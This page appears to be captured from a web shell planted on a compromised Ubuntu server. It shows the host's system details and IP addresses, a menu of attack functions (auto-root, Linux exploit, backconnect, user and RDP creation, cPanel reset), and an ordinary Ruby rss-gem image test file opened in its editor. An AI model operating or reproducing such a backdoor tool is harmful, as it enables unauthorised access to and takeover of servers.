Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
gems /
3.0.0 /
gems /
rss-0.2.9 /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
dot.png
109
B
-rw-r--r--
rss-assertions.rb
69.07
KB
-rw-r--r--
rss-testcase.rb
11.69
KB
-rw-r--r--
run-test.rb
290
B
-rw-r--r--
test_1.0.rb
8.16
KB
-rw-r--r--
test_2.0.rb
12.29
KB
-rw-r--r--
test_accessor.rb
2.5
KB
-rw-r--r--
test_atom.rb
21.8
KB
-rw-r--r--
test_content.rb
2.61
KB
-rw-r--r--
test_dublincore.rb
9.05
KB
-rw-r--r--
test_image.rb
6.89
KB
-rw-r--r--
test_inherit.rb
1.06
KB
-rw-r--r--
test_itunes.rb
13.37
KB
-rw-r--r--
test_maker_0.9.rb
13.83
KB
-rw-r--r--
test_maker_1.0.rb
14.38
KB
-rw-r--r--
test_maker_2.0.rb
22.15
KB
-rw-r--r--
test_maker_atom_entry.rb
13.77
KB
-rw-r--r--
test_maker_atom_feed.rb
16.19
KB
-rw-r--r--
test_maker_content.rb
1.02
KB
-rw-r--r--
test_maker_dc.rb
4.15
KB
-rw-r--r--
test_maker_image.rb
1.84
KB
-rw-r--r--
test_maker_itunes.rb
18.96
KB
-rw-r--r--
test_maker_slash.rb
832
B
-rw-r--r--
test_maker_sy.rb
919
B
-rw-r--r--
test_maker_taxo.rb
2.24
KB
-rw-r--r--
test_maker_trackback.rb
1000
B
-rw-r--r--
test_maker_xml-stylesheet.rb
1.99
KB
-rw-r--r--
test_parser.rb
2.77
KB
-rw-r--r--
test_parser_1.0.rb
12.07
KB
-rw-r--r--
test_parser_2.0.rb
2.89
KB
-rw-r--r--
test_parser_atom_entry.rb
4.2
KB
-rw-r--r--
test_parser_atom_feed.rb
7.45
KB
-rw-r--r--
test_setup_maker_0.9.rb
6.88
KB
-rw-r--r--
test_setup_maker_1.0.rb
16.2
KB
-rw-r--r--
test_setup_maker_2.0.rb
8.96
KB
-rw-r--r--
test_setup_maker_atom_entry.rb
12.37
KB
-rw-r--r--
test_setup_maker_atom_feed.rb
13.53
KB
-rw-r--r--
test_setup_maker_itunes.rb
4.45
KB
-rw-r--r--
test_setup_maker_slash.rb
1023
B
-rw-r--r--
test_slash.rb
1.32
KB
-rw-r--r--
test_syndication.rb
3.05
KB
-rw-r--r--
test_taxonomy.rb
4.96
KB
-rw-r--r--
test_to_s.rb
19.22
KB
-rw-r--r--
test_trackback.rb
3.68
KB
-rw-r--r--
test_xml-stylesheet.rb
3.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_image.rb
# frozen_string_literal: false require "cgi" require "rexml/document" require_relative "rss-testcase" require "rss/1.0" require "rss/image" module RSS class TestImage < TestCase def setup @prefix = "image" @uri = "http://purl.org/rss/1.0/modules/image/" @favicon_attrs = { "rdf:about" => "http://www.kuro5hin.org/favicon.ico", "#{@prefix}:size" => "small", } @favicon_contents = {"dc:title" => "Kuro5hin",} @items = [ [ { "rdf:about" => "http://www.example.org/item.png", "rdf:resource" => "http://www.example.org/item", }, { "dc:title" => "Example Image", "#{@prefix}:width" => "100", "#{@prefix}:height" => "65", }, ], [ { "rdf:about" => "http://www.kuro5hin.org/images/topics/culture.jpg", }, { "dc:title" => "Culture", "#{@prefix}:width" => "80", "#{@prefix}:height" => "50", }, ] ] @channel_nodes = make_element("#{@prefix}:favicon", @favicon_attrs, @favicon_contents) items = "" @items.each do |attrs, contents| image_item = make_element("#{@prefix}:item", attrs, contents) items << make_item(image_item) end @ns = { @prefix => @uri, DC_PREFIX => DC_URI, } @rss_source = make_RDF(<<-EOR, @ns) #{make_channel(@channel_nodes)} #{make_image} #{items} #{make_textinput} EOR @rss = Parser.parse(@rss_source) end def test_parser assert_nothing_raised do Parser.parse(@rss_source) end assert_too_much_tag("favicon", "channel") do Parser.parse(make_RDF(<<-EOR, @ns)) #{make_channel(@channel_nodes * 2)} #{make_item} EOR end attrs = {"rdf:about" => "http://www.example.org/item.png"} contents = [["#{@prefix}:width", "80"]] * 5 image_item = make_element("#{@prefix}:item", attrs, contents) assert_too_much_tag("width", "item") do Parser.parse(make_RDF(<<-EOR, @ns)) #{make_channel} #{make_item(image_item)} EOR end end def test_favicon_accessor favicon = @rss.channel.image_favicon [ %w(about rdf:about http://example.com/favicon.ico), %w(size image:size large), %w(image_size image:size medium), ].each do |name, full_name, new_value| assert_equal(@favicon_attrs[full_name], favicon.__send__(name)) favicon.__send__("#{name}=", new_value) assert_equal(new_value, favicon.__send__(name)) favicon.__send__("#{name}=", @favicon_attrs[full_name]) assert_equal(@favicon_attrs[full_name], favicon.__send__(name)) end %w(small medium large).each do |value| assert_nothing_raised do favicon.size = value favicon.image_size = value end end %w(aaa AAA SMALL MEDIUM LARGE).each do |value| args = ["#{@prefix}:favicon", value, "#{@prefix}:size"] assert_not_available_value(*args) do favicon.size = value end assert_not_available_value(*args) do favicon.image_size = value end end [ %w(dc_title dc:title sample-favicon), ].each do |name, full_name, new_value| assert_equal(@favicon_contents[full_name], favicon.__send__(name)) favicon.__send__("#{name}=", new_value) assert_equal(new_value, favicon.__send__(name)) favicon.__send__("#{name}=", @favicon_contents[full_name]) assert_equal(@favicon_contents[full_name], favicon.__send__(name)) end end def test_item_accessor @rss.items.each_with_index do |item, i| image_item = item.image_item attrs, contents = @items[i] [ %w(about rdf:about http://example.com/image.png), %w(resource rdf:resource http://example.com/), ].each do |name, full_name, new_value| assert_equal(attrs[full_name], image_item.__send__(name)) image_item.__send__("#{name}=", new_value) assert_equal(new_value, image_item.__send__(name)) image_item.__send__("#{name}=", attrs[full_name]) assert_equal(attrs[full_name], image_item.__send__(name)) end [ ["width", "image:width", "111"], ["image_width", "image:width", "44"], ["height", "image:height", "222"], ["image_height", "image:height", "88"], ].each do |name, full_name, new_value| assert_equal(contents[full_name].to_i, image_item.__send__(name)) image_item.__send__("#{name}=", new_value) assert_equal(new_value.to_i, image_item.__send__(name)) image_item.__send__("#{name}=", contents[full_name]) assert_equal(contents[full_name].to_i, image_item.__send__(name)) end [ ["dc_title", "dc:title", "sample-image"], ].each do |name, full_name, new_value| assert_equal(contents[full_name], image_item.__send__(name)) image_item.__send__("#{name}=", new_value) assert_equal(new_value, image_item.__send__(name)) image_item.__send__("#{name}=", contents[full_name]) assert_equal(contents[full_name], image_item.__send__(name)) end end end def test_favicon_to_s favicon = @rss.channel.image_favicon expected_xml = image_xmlns_container(make_element("#{@prefix}:favicon", @favicon_attrs, @favicon_contents)) expected = REXML::Document.new(expected_xml) actual_xml = image_xmlns_container(favicon.to_s(false, "")) actual = REXML::Document.new(actual_xml) assert_equal(expected.to_s, actual.to_s) end def test_item_to_s @rss.items.each_with_index do |item, i| attrs, contents = @items[i] expected_xml = make_element("#{@prefix}:item", attrs, contents) expected_xml = image_xmlns_container(expected_xml) expected = REXML::Document.new(expected_xml) actual_xml = image_xmlns_container(item.image_item.to_s(false, "")) actual = REXML::Document.new(actual_xml) assert_equal(expected[0].attributes, actual[0].attributes) %w(image:height image:width dc:title).each do |name| actual_target = actual.elements["//#{name}"] expected_target = expected.elements["//#{name}"] assert_equal(expected_target.to_s, actual_target.to_s) end end end private def image_xmlns_container(content) xmlns_container({ @prefix => @uri, "dc" => "http://purl.org/dc/elements/1.1/", "rdf" => "http://www.w3.org/1999/02/22-rdf-syntax-ns#", }, content) end end end
Close